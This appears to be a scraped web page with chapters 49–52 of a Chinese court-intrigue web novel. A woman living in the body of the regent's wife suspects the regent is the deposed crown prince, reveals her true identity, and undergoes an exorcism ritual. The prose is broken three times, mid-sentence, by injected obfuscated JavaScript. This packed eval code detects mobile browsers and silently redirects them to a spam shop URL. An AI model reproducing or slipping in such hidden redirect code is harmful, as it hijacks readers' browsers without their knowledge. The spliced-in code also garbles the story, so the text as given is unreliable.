唐锶谐为人很是高冷,不喜欢与人多过接触,更别提嗑瓜子这类不雅的动作了。按照叶袭宸猜测,他就算是喜欢吃瓜子,也只会叫人剥好了,然后他吃现成的。 大家闺秀的确是这般做派。 可如今他仿佛是早已将这些丢弃了。 嗑瓜子本该是一件极其愉悦的事情,连声音都很治愈,然而配上唐锶谐这副铁青的表情,也嫌磕碜实在是愉悦不起来。 她实在搞不懂这个家伙到底想做什么。 不过想想应该也能明白了。 唐锶谐实为花疏玟,他与沈道溦乃是年少夫妻,自然伉俪情深,感情深厚。然而如今他却披了一副外人的皮囊,将真实身份掩盖在他人名分之下。起初更是因此拒沈道溦于千里之外,后来他虽然想明白了,娶了沈道溦,但是他心中有愧,故而对沈道溦多加纵容。只要是沈道溦喜欢的,他便可为其寻来,即便是人也不例外。 如今就是这副情形。 叶袭宸嗑着瓜子,心里复杂。 这唐锶谐看似为沈道溦倾尽所有,可为何没有认出自己并非她呢。 即便其他地方看不出,交欢之时也该能看得出才是。 若叶袭宸没有记错的话,那晚她是摘了唐锶谐面具的。沈道溦是见过花疏玟的,自然能认得出。 如何能不惊讶呢? 如何能不激动呢? 凭这一点,唐锶谐也该看出叶袭宸并非沈道溦。 但或许也该有另外一种可能,那便是沈道溦已经认出了唐锶谐就是花疏玟,而唐锶谐也知道沈道溦认出了自己。 故而不惊讶也没有什么稀奇的。 叶袭宸叹了一口气。 难怪。 然而这一切都是自己的猜测,一切都建立在唐锶谐就是花疏玟的基础上。 “娘子可还满意?” 唐锶谐没来由地来了这么一句,语气里的较为平淡,和往常并无不同,但是叶袭宸却听出了一丝压抑着的怒意。 叶袭宸道:“甚好。” “甚、好?” 唐锶谐几乎是一字一顿挤出这两个字,微微笑了一下:“依为夫之拙见,这个戏子唱得不好,也就胜在生了一副好皮囊。” 叶袭宸同样微微一笑:“一副好皮囊是至关重要的。” 唐锶谐闭了闭眼睛,似乎已经放弃了挣扎:“娘子说得极是。既是如此,娘子就好好欣赏吧,为夫去批阅奏折了。” 望着唐锶谐离开的背影,叶袭宸有些五味杂陈。 她实在不甚了解花疏玟,分明已经看出唐锶谐的真实身份,可是眼前的迷雾却是一团接着一团。 他本该是皇位的继承人,如今也已是摄政王。 为何还甘愿坐一人之下的位置呢。 叶袭宸轻笑一声。 当年他斗不倒梁王花疏言,如今也无力再与花疏叶争皇位了吗。照叶袭宸看,那花疏叶性子软弱,还不如老谋深算的花疏言呢。 花疏玟若是亮明自己的身份,当年太子的追随者肯定会一呼百应。再加上这几年他在军中的威信,拿下皇位那是易如反掌的事情。 他为何迟迟不动呢。 真乃怪人哉。 叶袭宸抚了抚下巴。 自然,在事实出来之前,一切都只是猜测。 她如今该想的应是找出见过当时废太子真容的人。 沈道溦和花疏玉应该是见过花疏玟的,但是宋雪砚应该没见过,她追随花疏玉的时间比自己还要晚上一些。 符无虞就更不可能了。 至于朝中的老臣自己不甚信任,就连沈奉也是。 叶袭宸摸了摸鼻子,在考虑要不要回沈府一趟,找找沈道溦有什么遗落的画作。又或者自己该问问帝京的一些千金小姐贵夫人什么的,据说当年太子妃可是个令人趋之若鹜的香饽饽,抛去太子的权力不谈,就连花疏玟本人也是形容俊美。 既是如此,那些千金小姐贵夫人的手中应该存有几幅花疏玟本人的画像。又或者,自己可以将交欢之夜时唐锶谐的容貌画下来,交由他人辨认。 但鉴于自己画艺不精,思来想去,还是前者更为划算。 “你的眼中为何没有我?” 叶袭宸正在思考,楚无暇冷不丁地偏头过来,着实让她吓了一跳。这厮脸上的白粉还未洗干净,甚至有一些随着他的动作掉落在她身上。 叶袭宸扔了条帕子给他,嫌弃道:“快些将你的脸擦擦,白得像鬼似的。任你这副皮囊再好,也禁不住你这么折腾。” 楚无暇拿着帕子擦着脸上的胭脂水粉,神情很是无辜:“不是你叫长辞传话让我惹事生非的?难道是我会错意了?” “非也。”叶袭宸的神情严肃了几分:“不过我的确是没想到唐锶谐会直接将你带回来。” “不光你没想到,我也没想到。”楚无暇耸了耸肩膀:“他气势汹汹地来兰庭戏院找我,我以为他是来找我打架的,甚至可能借着这个由头将戏院也一并铲除了。没想到他居然和颜悦色地说自家夫人喜欢看我唱戏,特来邀请我。” 叶袭宸若有所思。 “这个摄政王真是个人才,忍常人所不能忍,我自愧不如。” “你自愧不如什么?”叶袭宸道:“说得好像我与你真做了什么一般。” “是是是。”楚无暇笑着道:“你我之间自然清清白白,可是摄政王他不知道。站在他的立场上,这已经是他能做出的最大妥协了。” 叶袭宸轻哼一声:“我看是以往对女子的束缚太深,以至于唐锶谐现在做了个正常的举动都被认为是壮举。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124252|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 楚无暇稍微一怔。 叶袭宸已经甩袖进了屋,楚无暇摸了摸鼻子,片刻之后才追了进去。 “王妃,你的脾气未免也太大了。”楚无暇微微皱眉:“你现在是摄政王的王妃,可不是以前那个要风得风,要雨得雨的叶袭宸了。仰人鼻息生活,你也该学会寄人篱下了。” “不错。”叶袭宸道:“否则你我见面也不必如此麻烦。” 楚无暇又是微微一怔,随即笑了起来:“王妃可真是喜怒无常。”他正色道:“你要我做什么?” 叶袭宸坐在火炉前煮茶,她将几片茶叶随手丢进茶壶里:“你可曾见过废太子花疏玟?” “花疏玟?”楚无暇摇了摇头:“未曾见过,不过你怎会突然问起他。” “只是偶然之间想到了而已。”叶袭宸看着冒着热气的茶壶,神情隐匿在蒸汽中,有些看不真切。 “你有法子寻来他的画像吗?” 楚无暇摇了摇头:“爱莫能助。” 叶袭宸抬头:“为何?” 楚无暇道:“我并非朝廷中人,如何能得到他的画像?” 叶袭宸低头轻笑一声:“说得的确不错,是我难为你了。” 茶已经煮好,叶袭宸用抹布将茶壶端起来,往楚无暇面前的茶杯倒下去。 楚无暇看着茶水逐渐填满杯子,禁不住问道:“你日后有何打算,心里究竟有没有谱?” “我有什么谱,最后都会被人打搅。”叶袭宸漫不经心地笑道:“我即便做不到谋无遗策,也能做到见招拆招。” 楚无暇的脸上露出轻蔑的神色:“早知你是这样的人,我便不会来寻你了。” 叶袭宸放下茶壶,楚无暇面前的杯子只有半杯茶水:“你若是想走,我不留。” “你当真愿意放我走?”楚无暇捏起半杯茶水:“你不怕我将你的真实身份说出去吗?” 叶袭宸为自己倒茶:“说出去也得有人信才是。如此匪夷所思的事情,恐怕也得符无虞本人点头才行。” 提及符无虞,楚无暇的神情动了一下,连手里的半杯茶水都禁不住晃动了,洒出来些许溅在他白色的衣衫上。 茶水本是滚烫之物,可楚无暇却顾不得,只是问了一句:“你见过她了?” 叶袭宸不动声色地将楚无暇的反应尽收眼底,面上浮现几分笑意。 楚无暇察觉到自己失态,忙装模作样地叫了起来。 “好痛!” 叶袭宸捏起茶杯,徐徐吹着上面的浮叶:“楚公子的反应,我是该说你是敏锐呢还是说你迟钝呢?” 楚无暇绷紧了腮帮子,似是在思量着对策。 叶袭宸继续道:“听到符无虞的名字,我都还未曾说些什么话,你便如此着急,唯恐我与她之间说些什么对你不利的话来。如此反应,着实敏锐。可你却连滚烫的茶水溅在身上都顾及不得,如此反应,又着实迟钝。” 她轻轻地敲了一下桌子,慢慢靠近楚无暇。 楚无暇的身子一点一点变僵硬,叶袭宸的气息近在耳畔:“楚公子,你说我该拿你如何是好呢?” 50. 第 50 章 楚无暇从叶袭宸房里出来的时候,还有些精神恍惚。手里攥着的折扇抬起,挠了挠鬓角。他就有些搞不明白了,叶袭宸究竟是一个怎样的人。 当你觉得她要大展拳脚的时候,她却唯唯诺诺。然当你觉得她徒有虚名的时候,她又会叫人毛骨悚然。 方才在屋内的一番对话,楚无暇险些连冷汗都下来了。他抬起衣袖拭汗,眼前蓦地被一大片阴影笼住。才抬起头来,一柄利剑就横在脖前。 楚无暇侧眼看去,原来是林有分,奉命看守叶袭宸之人。 “做什么?”楚无暇岿然无惧,反倒是微微眯了眯眼睛:“我虽为戏子,但却是摄政王请回来的。而且王妃也对我很是青睐,你对我动手,就不怕招来杀身之祸吗?” “狐假虎威。”林有分轻嗤一声:“我问你,你与王妃究竟是什么关系?” 楚无暇正要开口,蓦地一道轻笑从身后传来。 “是什么关系还用得着你在这里过问吗?” 两人倏然一惊,俱抬头朝门口看去。果不其然,叶袭宸双手负在身后,巧笑倩兮地站在那里:“林有分,你莫不是以为我给你几分好脸,你就觉得你可以过问我的事情了?” 叶袭宸虽然是笑着,可是言语间却在施压,身上那股子不怒自威的气势若有若无地显现出来。 林有分不由得一个哆嗦,直接跪倒在地:“王妃明察,属下不敢。” “敢不敢的都做了,还有什么不敢的?”叶袭宸的笑意加深了几分:“回去告诉你家摄政王,日后不用在我这院里站岗了。” 林有分抬起头,神情惊恐:“王妃,属下错了,请王妃不要赶我走。” “你在我这里实在是有些大材小用了。”叶袭宸面上虽然依旧笑着,却莫名有几分渗人:“敢将我的行踪泄露给他人,还敢过问我的事情。如此人才,待在我一介妇人这里,实在是屈才。” “王妃。”林有分磕了个头:“王妃若是将小的驱逐出去,摄政王会要了小的命的。” “这是你与摄政王之间的事情,与我何干。”叶袭宸完全一副事不关己高高挂起的样子:“若是摄政王砍了你,那只能说明你看错了人,跟错了人,与我毫无关系。” 林有分咬了咬唇,心里居然觉得王妃说得十分在理。他给叶袭宸磕了一个头,然后拿上剑垂头丧气地离开。 “你是不是做得有些过分了?” 林有分走后,楚无暇禁不住问了叶袭宸一句:“前几日你不是还韬光养晦,装得比孙子还孙子吗,如今怎么直接将人撵走了,不怕惹怒摄政王吗?” 叶袭宸轻哼一声:“唐锶谐为人古怪,我倒是想看看,把他逼急了,他能成什么样子。再者,就这么一件小事就能将他逼急,你可是太小看他了。” “原来你是借题发挥。”楚无暇故意道:“的确,摄政王是什么样子,你心里是知道得一清二楚。” “我看你是话中有话。”叶袭宸道:“直说。” 楚无暇道:“前几日我在唱戏的时候,偶然听到客人说了几句话,说是当年那叶袭宸曾经追求过摄政王,后来被摄政王严词拒绝,因爱生恨,夺了皇位逼其就范。不成想摄政王居然识破了她的诡计,一举攻入皇城,将其一刀斩落马下。” 叶袭宸不自觉地笑了:“有几分意思,这话是谁说的,你还有印象吗?” “且容我仔细想想。”楚无暇思索之时,却见叶袭宸脸上毫无怒意:“别人如此编排,你难道不生气?” “生气有何用?倘若生气有用的话,世上的人早该死了一大半。”叶袭宸催促道:“快想快想。” 楚无暇思索片刻,附耳过去,告诉了叶袭宸一个名字。 叶袭宸转了转眼珠子,心内笑了。 原来是她。 朝中有一位仗义执言的御史,姓苏名清源。她是长公主花疏玉从科举中选出来的,平时心直口快,有时候就连花疏玉都会被气个半死,更何况当时的叶袭宸。 但是如今叶袭宸听着倒是有几分意思,这个苏清源什么时候编排不行,非得跑到兰庭戏院去说这种话? 怎么感觉像是在故意钓鱼一般? 若是在钓鱼,又是在钓谁呢? 周盈? 苏清源应该和周盈不甚相熟,再者,若是钓她的话,她如何知道周盈和自己的关系。连周盈本人都不知道当年她见的人是自己,更别提苏清源了。 莫非自己有什么蛛丝马迹被她发觉了? 不对,这也说不通。 她若是想见周盈,直接大大方方便可。周盈并非是个藏头露尾的老板,经常在柜台后张罗生意。 思来想去,可能是在钓自己了。 沈道溦。 苏清源和沈道溦会有何关系呢? 叶袭宸原本就想在摄政王府内摆上一场宴会,千金小姐朝廷官员什么的,请来一堆,向她们询问和花疏玟有关的线索。起初她还在犹疑,如今却是不得不举办了。 楚无暇见叶袭宸犹在思索,不由得问道:“有什么我能为王妃效劳的?” “你是摄政王招进府来的,与我何干。”叶袭宸摆了摆手:“去去去,别在这里扰我清静。” “卸磨杀驴。”楚无暇一副伤心欲绝的模样,捏着折扇的力道也不由得加重了几分:“我这就向摄政王请辞,说王妃早已厌恶了我。” 叶袭宸微微勾唇:“所幸你还不算胡搅蛮缠。” 楚无暇朝叶袭宸行了个礼:“王妃在上我在下,自然言听计从。” 叶袭宸对这句话很是受用,轻轻笑了一声:“你这人无欲无求,我日后该小心提防你才是。” “无欲无求之人众多,却偏偏没有我这一个。”楚无暇把玩着折扇:“我所求的,王妃目前给不了。但我相信,有朝一日,王妃必定会给的。” 叶袭宸笑了笑,不再说话。 “告辞。” 楚无暇向叶袭宸行礼后离去。 叶袭宸盯着他的背影,目光逐渐变得有些锐利。 仅仅只是怕符无虞告诉他们的师尊,这个借口未免太过拙劣。而且,符无虞也并未承认这一点。 此人着实有些古怪。 叶袭宸收回了视线,正要转身回屋,身后却响起一阵轻微的脚步声。她蹙眉回头,却见唐锶谐迎面而来。 叶袭宸轻眨双眼,不过才一瞬,眼底的那份儿精明就尽数化去,变作柔情。 “娘子将林有分打发回为夫这里了。” 叶袭宸勾唇。 这个唐锶谐估计是神志不清醒了,先前还一直你我相称,近日又娘子长娘子短了,还自称为夫什么的。 先前她被楚无暇出现在府内分了心神,才没有意识到什么。如今再听,只觉有几分好笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131894|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这是想要过平头百姓的生活,故而才如此称呼吗? 这个念头一冒出,叶袭宸立即怔住了。 一直以来唐锶谐的古怪似乎都有了解释。 许是被老皇一张废黜太子的圣旨凉了心,又经亲兄弟花疏言追杀,彻底心灰意冷。然又担忧江山社稷,故而才取代了唐锶谐的名号,换个身份征战沙场。 叶袭宸心底有些不是滋味。 一直以来,她都觉得唐锶谐是个彻彻底底的伪君子。但如今想来,似乎并非如此。 她看向唐锶谐的目光不由得带了些许怜悯。 唐锶谐微微一怔,不明白为何叶袭宸会用如此目光看待自己。 看戏中途愤而离场,他以为她会生气。她让林有分回来也是证实了这一点,可如今这副神情又是做什么。 “道溦。”唐锶谐轻轻唤道。 叶袭宸回神,随即微微蹙眉。 唐锶谐情有可原与自己何干,不论他品行如何,经历如何,他对花疏玉这个亲妹妹绝情绝义是事实。 或许他认为花疏叶如此对待花疏玉是他们自家的事情,由不得自己这个外人来插手。但是若是当年他死里逃生后,重整旗鼓以图东山再起,未尝不能阻止这一切的悲剧。 只顾着自己心灰意冷,却不管弟弟妹妹的死活如何,任由他们被梁王花疏言欺负,这难道不是逃脱责任吗? 若是他与花疏言抗争到底,最终登基,花疏叶也不会做成皇帝,花疏玉也不会被他猜忌,最终落得身首异处的下场。即便他夺嫡失败,因此身死,也算是没有遗憾了。 可他偏偏采取了一种又当又立的做法。 就如同他现在这般,做着摄政王却又没有不臣之心。 或许他品行高洁,心思澄澈,可身在皇家,根本容不得他这般做法。 叶袭宸不由得微微磨了磨牙齿。 唐锶谐又是一怔。 先前还怜悯他,怎么如今又升腾起怒火了? “道溦?” 唐锶谐又是轻轻唤了一句,叶袭宸登时又想起了自己死在他手中的情形,一双眸子不由得变红了些。 唐锶谐犹豫片刻,轻轻握住叶袭宸垂在身侧揪紧衣角的手:“道溦……” 叶袭宸倏地笑出声来。 这世间何论什么对错,不过都是立场而已!即便是梁王花疏言,这个他们共同的敌人,但假若自己处在他的位子上,也会谋夺皇位。 是啊,都是皇子,凭什么你花疏玟可以继承皇位,而我却要臣服? 何其不公! 难道就仅仅因为花疏玟乃是皇后所出吗? 这个道理她早就熟知,然直到今天才深刻体会到。有些道理,果真只有亲身经历的时候,才会有所顿悟。 叶袭宸不由得笑出了眼泪。 唐锶谐被叶袭宸的反应吓到了,着急地将叶袭宸揽入怀里,一遍遍地叫着她的名字:“道溦……道溦……” 叶袭宸伏在唐锶谐的肩头,唇角勾起一抹嘲讽的笑容:“我不是沈道溦。” “不要说这样的话。”唐锶谐拥紧了叶袭宸,声音带了些许哭腔:“不要在这个时候说这样的话。” “我是叶袭宸。” “什么?”唐锶谐松开了叶袭宸,神情微怔地看着她。 叶袭宸一字一句道:“我、是、叶、袭、宸。” 51. 第 51 章 近段时间,流言飞起。摄政王府不甚安宁,茶肆饭馆里也是议论纷纷。 “哎你们听说了吗?摄政王妃疯了。” “她不是早就疯了吗?”一白衣男子嗑着瓜子,后脖领上还插着一把折扇。 “你们有所不知,这次她是疯得更彻底了。以前还只是学那叶贼,如今张口闭口都说自己是叶贼了。” “学?”立即有人问道:“具体怎么学法?” “听说出阁前就与几个男子厮混,而且胆敢对父兄大不敬,言辞之间很是猖狂。” “什么?”那人惊讶极了:“居然有这种事。她既然疯得这么厉害,为何那摄政王还要娶她?” “先别说这个了,摄政王与她成亲之时她还出幺蛾子呢。” “什么幺蛾子,快来说说。” “听说成亲之时她掀了红盖头,抛头露面的,十分不雅。” “居然有这种事,摄政王没有阻止吗?” “岂是没有阻止,简直是纵容。摄政王还夸她花容月貌,落落大方。” 立即有人疑惑开口:“摄政王怎么一而再再而三地纵容呢?那个王妃都疯成这样了,他居然隐忍至此。” “不是说暂且不提吗?再说又不是只有摄政王对她纵容,听说成亲之时当今皇上也去喝了喜酒呢。” “皇上居然也去了?” “不仅去了,还让摄政王和王妃当众亲吻,让众臣观看呢。” “什么?!” 此言一出,茶肆里的客人全都目瞪口呆。 “难不成皇上也疯了?居然做出如此荒唐之事?” “我看是被王妃传染上疯病了。” “我看也是,听说王妃的确疯得厉害。嫁给摄政王后也是毫不收敛,居然敢出没兰庭戏院,和一众男子饮酒作乐。” 众人皆倒抽一口凉气:“王妃也太胆大妄为了,摄政王居然也能忍?” “摄政王乃大度,如何会与一个疯子一般计较。再者,他爱王妃如命,听说近日开始请和尚道士,为王妃驱鬼祈福了。” “驱鬼?” “不错,有道士说是那叶贼的鬼魂附在了王妃的身上,才使得王妃的行为如此失常。” “当真?”那白衣男子将茶杯放在桌上。 “这还能有假?听说连国师都被请过去了,日夜住在摄政王府。” 听到此处,那白衣男子再也坐不住了,直接出了茶肆。白衣男子不是旁人,正是楚无暇。议论声如潮水般在身后退去,他仰头看了看昏暗的天色。 帝京的天,怕是真要变了。 此时此刻,摄政王府。 全府上下人心惶惶,符无虞白衣白发地领着几个道人模样的人在开坛做法。黄色的符纸满天飞,扰得人眼花缭乱。神铃摇得震天响,吵得人鼓膜都快要穿孔了。 饶是冷静如唐锶谐,此时也禁不住头昏脑胀。他一袭青衣,负手站在法阵之后。而法阵中央,则是盘腿而坐的叶袭宸。 相较于唐锶谐的蹙眉,叶袭宸倒是平静许多。她仿佛是睡着了一般,神情安详得有些过分。 符无虞食指并中指夹着一张黄色符纸,双眼紧闭,嘴里念念有词。 “莫再徘徊,莫再留恋。” “快去快去,早日升天。” 符无虞神情虔诚,唐锶谐却看得眉头轻皱。 他和叶袭宸一样,向来不信鬼神,也不信什么魂魄附身的说法,可是自从叶袭宸死了,沈道溦就越发像她了。从前还只是言行举止有些像,但还是基本保留着世家小姐的底子,如今却是直言自己就是那叶袭宸。 这还怎么得了。 是以唐锶谐只能将国师符无虞请来,为沈道溦看上一看。比起什么魂魄附身的说法,他其实更愿意相信是沈道溦因叶袭宸之死疯癫了,魔怔了。 毕竟叶袭宸心狠手辣,且性格急躁。倘若沈道溦真是那叶袭宸,那么相亲宴会那日自己就该死了,就连皇上也会一同葬身在她剑下。 可是如今二人都活得好好的,而且沈道溦还嫁给了自己,并与自己有了肌肤之亲。倘若是那叶袭宸,她恨自己入骨,即便是受千刀万剐之刑也断然不会与自己苟合的。 如此想着,唐锶谐心里安定了不少。其实早在请符无虞过来时,他就已然一遍遍说服着自己了。可直到看到沈道溦在符无虞的法阵下也依旧面不改色时,他才真正信服。 符无虞的额头上冒出密密麻麻的汗珠,夹着符纸的双手也有些微微颤抖。 唐锶谐在旁边看得有些担忧,不由得上前问道:“国师,情况如何?” 符无虞紧紧咬着下唇,以至于血肉模糊,鲜血淋漓。血一点一滴落在地上,格外醒目。 她只是摇着头。 唐锶谐不由得更为担心。 再看法阵之中的叶袭宸,似是已经睡着,甚至打起了轻微的鼾声。 唐锶谐的身体不由得轻轻颤抖一下。 他依稀记得那叶袭宸也最爱打呼,甚至打得比男子还要响上几分。 可明明前几日她与自己同床共枕时是不打呼的。 唐锶谐抿紧了唇角,出声喝道:“停止!” 似是终于得到解放一般,符无虞手里夹着的符纸已经变作灰蓝色的火焰。她轻轻掸了掸,灰烬尽数落在地上。混着地上的鲜血,一同消失不见。 唐锶谐的眉心几乎拧成了疙瘩:“符无虞,本王叫你前来,是想叫你和王妃好好说说话,而不是看你在这里搞些装神弄鬼的东西!” “是。” 符无虞半分反驳也无,只是低垂着脑袋应下。 “本王且问你,叶袭宸的一些习性可是你告诉王妃的?” 符无虞抬起头来,目光平静:“摄政王何出此言?” “若不是你,谁人还能将那叶袭宸的习性记得一清二楚?” 怀疑的目光落在符无虞身上,她却没有半分慌乱。 “我与那叶袭宸认识不过两年,且与之关系浅薄,如何能知道她的习性?” “本王且再问你,那宋雪砚的神智可恢复了?” 符无虞神色未变:“并无。” “不是你,也不是那宋雪砚,试问还有何人?” 符无虞轻轻笑了一声。 唐锶谐问道:“你笑什么?” 符无虞道:“摄政王莫不是忘了还有一人与那叶袭宸关系深厚。” 唐锶谐不言。 符无虞道:“年少时他们便相熟,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137095|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶袭宸成为将军后更是常伴其左右。虽然后来因一人之故他们反目成仇,且是在其非自愿的时候发生的关系……” “住口!” 唐锶谐已然动了怒气。 符无虞抿了抿唇,及时收住了话头。 唐锶谐揉了揉太阳穴,无力地朝符无虞摆了摆手:“你回去罢。” 符无虞微微欠身后离开。 叶袭宸也在符无虞走后身子瘫软在地上,仿佛失去了依仗一般。 “道溦!” 唐锶谐将叶袭宸抱起来,叶袭宸依偎在唐锶谐的胸膛上,缓缓睁开双眸。 “我不是沈道溦。” 只说了这么一句后,叶袭宸就再次闭上了眼睛。唐锶谐微微叹了一口气,将叶袭宸抱回屋里,放到床上。 若云站立在一旁,急得直掉眼泪。 唐锶谐摩挲着叶袭宸的手,“道溦先前有说过自己是叶袭宸这种话吗?” 若云吓得直接跪倒在地,“从未有过。” “从叶袭宸死后到现在,期间发生过什么不同寻常的事,你细细讲与我听。” “摄政王明鉴,主子一直卧病在床。即便是老爷和大少爷,也不曾过来看望过。每回大夫来都说主子时日无几,怕是挨不过两年。何来什么不同寻常之事?” 唐锶谐思忖片刻:“那国师符无虞可曾来看过道溦?” 若云摇了摇头:“从未有过,奴婢今日也是第一次见到国师是何相貌。” “为何如此肯定?”唐锶谐一双眸子微微眯了起来:“以往国家祭祀大事,你陪同你家主子时,也不曾见过吗?” 唐锶谐这句话语气太过严厉,若云吓得眼泪又出来了:“摄政王明鉴,主子因为身体原因,几乎不出门,何谈什么祭祀大事。” 唐锶谐的眉头再次皱了起来,却思量不出什么,只得扔下一句。 “好生照顾你家主子。” “是。” 唐锶谐深深看了叶袭宸一眼后离开。回到书房后,谢有缘和林有分也进来了。 谢有缘是个急性子,急不可耐道:“那国师符无虞是什么意思,她说的那个人是皇上吗?” 林有分附和道:“仔细想来,皇上与那叶袭宸也的确关系匪浅。早在叶袭宸跟随长公主时,皇上就与她认识了,对于她的习性自然知道得一清二楚。” 谢有缘立即道:“难道是皇上趁王妃疯癫之时向她灌输有关叶袭宸的一切?他到底意欲何为?” 林有分轻嗤一声:“这还如何猜不到?摄政王大权在握,皇上忌惮,却有不好放在明面上说,就只能将王妃调教成叶袭宸的样子成心来给摄政王添堵!” 谢有缘道:“还是说不通,皇上当年被那叶袭宸囚禁之时,可是吃了不少苦头,难道他就不憎恶她吗?” 林有分摇了摇头:“憎恶又如何?横竖那叶袭宸已经死了。只要能给摄政王添堵就行!” “够了!” 一直坐在椅子里没说话的唐锶谐蓦地出声。 谢有缘和林有分俱是吓了一跳,谁都不敢再言语。 “林有分。” “属下在。” 唐锶谐问道:“那日你随王妃去摘星楼时,皇上可在那里?” 52. 第 52 章 叶袭宸没有睡太久,醒来后她就直接去院子里练武。实在不能不练了,她着实憋得慌。 那日她说出自己的真实身份也不全是头脑一热,只是实在不想顶着沈道溦的名头压抑自己了。事先她也算准了唐锶谐不会信,不过却是没想到他居然也信些鬼神之说,还将符无虞叫了过来作法。 不过也并非坏事。 当时叶袭宸坐在法阵之内,符无虞说的话她全都听到了,内心不由得暗暗赞叹。这个符无虞能在一场又一场的风波里独善其身,也并非泛泛之辈。这不,三两句话就把皇上花疏叶绕了进去。虽然说得比较隐晦,但相信以唐锶谐的敏锐程度不会猜不出来。 就是不知道这几句话究竟能不能引起唐锶谐的反叛之心,别到时候弄巧成拙,唐锶谐敏锐过度,怀疑符无虞居心叵测,继而给她招来杀身之祸就不好了。 早前太医院的太医秦陵不就是如此,只是在皇上花疏叶在中毒昏迷之时稍微做错了一个小动作,唐锶谐就要拿她杀鸡儆猴。 叶袭宸不由得叹了一口气。 看来近几日自己得留心盯着点儿。再者还要深入军营,培养一些自己的势力。 早前她本想学花疏玉一般操弄权术的,可到最后发现自己着实不是那块儿材料。比起在朝堂上搅弄风云,她其实还是更喜欢驰骋疆场。 不过权术也是不能忽略的,否则即便复位成功,到最后也会像自己的前世那般,再次被人一脚踢下去。 叶袭宸打着拳,不一会儿身上就出了汗。长辞早早地就跟着练了,有模有样地学着,还挺像那么回事。 若云去煎个药的功夫,回来见自家主子又练上了,很是心疼。可是她知道再怎么劝也是无济于事,只能担忧地看着。 叶袭宸的身形很是潇洒俊逸,若云从未见过自家主子如此模样。见惯了缠绵病榻的愁容,她还是觉得如今活力满满的主子更是叫人放心。 虽然自家主子总是说出一些莫名其妙的话来,但是却是在向越来越好的方向靠拢。如此想着,皱着的眉头不自觉舒展开了。 叶袭宸越发打得得心应手,也不觉身体乏力,只觉前世的气力全都回来了。此时若是有剑,她定要耍上一耍。 四处看了看,也就只有树枝能用了。叶袭宸眼神一凛,一个轻巧的跃步跳上墙头,随便折了一根握在手里,唰唰地舞起来。 破空的声音在院内响起来,居然十分赏心悦目。长辞看得艳羡,却只能眼巴巴地瞧着。 叶袭宸身形灵活,剑花挽得也是精彩。蓝绿色的裙摆如同一只翩翩起舞的蝴蝶,似是下一秒就会飘然远去一般。 “好!” 若云情不自禁地叫了一声,然而刚出声她就捂住了嘴巴。心道真是与自家主子待得久了些,连习性都与之一般无二了。 受到若云的影响,长辞也禁不住叫起好来。叶袭宸听着越发开心,动作也是越来越快。然而正当她翻了个跟斗落地时,脚却不由自主地崴了一下。 嘶~ 叶袭宸轻叫一声,若云和长辞立即跑过去,扶着她坐在石凳上。 唐锶谐正巧从外头负手走进来,见三人围作一团,不由得问道:“怎么了?” “回摄政王。”若云担心得眼泪都掉下来了:“主子方才舞剑的时候崴了脚。” “什么?” 唐锶谐满眼心疼,再也顾不得心中的什么疑惑,立即蹲下身子就要去脱叶袭宸的鞋子。 “快去请大夫。” “是。” 长辞飞也似的跑了出去。 唐锶谐脱下了叶袭宸的鞋子,手掌托着脚掌,脚已经有些红肿,而且也隐隐有些发热。 唐锶谐的手指有些冰凉,摸上去只觉有些烫意。 叶袭宸不在乎地伸了伸:“无碍,涂些药膏就没事了。” “……” 唐锶谐叹了一口气,起身将叶袭宸抱回屋里,若云提着叶袭宸的鞋袜跟在后头。唐锶谐将叶袭宸放在床上,抬起她的脚放在自己的腿上,食指和拇指轻轻揉捏捏。 接过若云递过来的药膏,唐锶谐用中指蘸了些,涂抹在红肿处,再辅以轻微的揉捏。 这力道委实有些舒服。 叶袭宸不自觉有些困意,身体不由自主地往后靠了靠,微闭双眼。然不过才片刻,就睡熟了。 再睁眼是一片嗜血的沙场。 尸横遍野,血流如何。 身旁的兄弟一个个倒下,然周遭围上来的敌人却是只多不减。叶袭宸与唐锶谐背靠背靠在一起,两人俱是满脸血污。就连眼底,也被飞溅的血迹染红。 叶袭宸吐出一口鲜血,居然放声大笑起来:“姓唐的,看来你我今日要葬身于此了!” 唐锶谐眉头紧皱,连日来的征战他早已口干舌燥,实在做不到如叶袭宸般大吼大叫。鲜血从唇角渗出,他再也无法做到压抑着,却也只能往肚子里咽。他神情平淡,扯了扯唇角:“我实在不愿与你死在一起。” 叶袭宸哈哈大笑起来:“既是如此,那我们便杀出一条血路来!” 她早已力竭,却依旧强撑着自己进攻。 唐锶谐自然也不甘示弱。 两人将后背毫无保留地交付给对方,只顾着眼前的拼杀。此时此刻,他们是最亲密的战友。 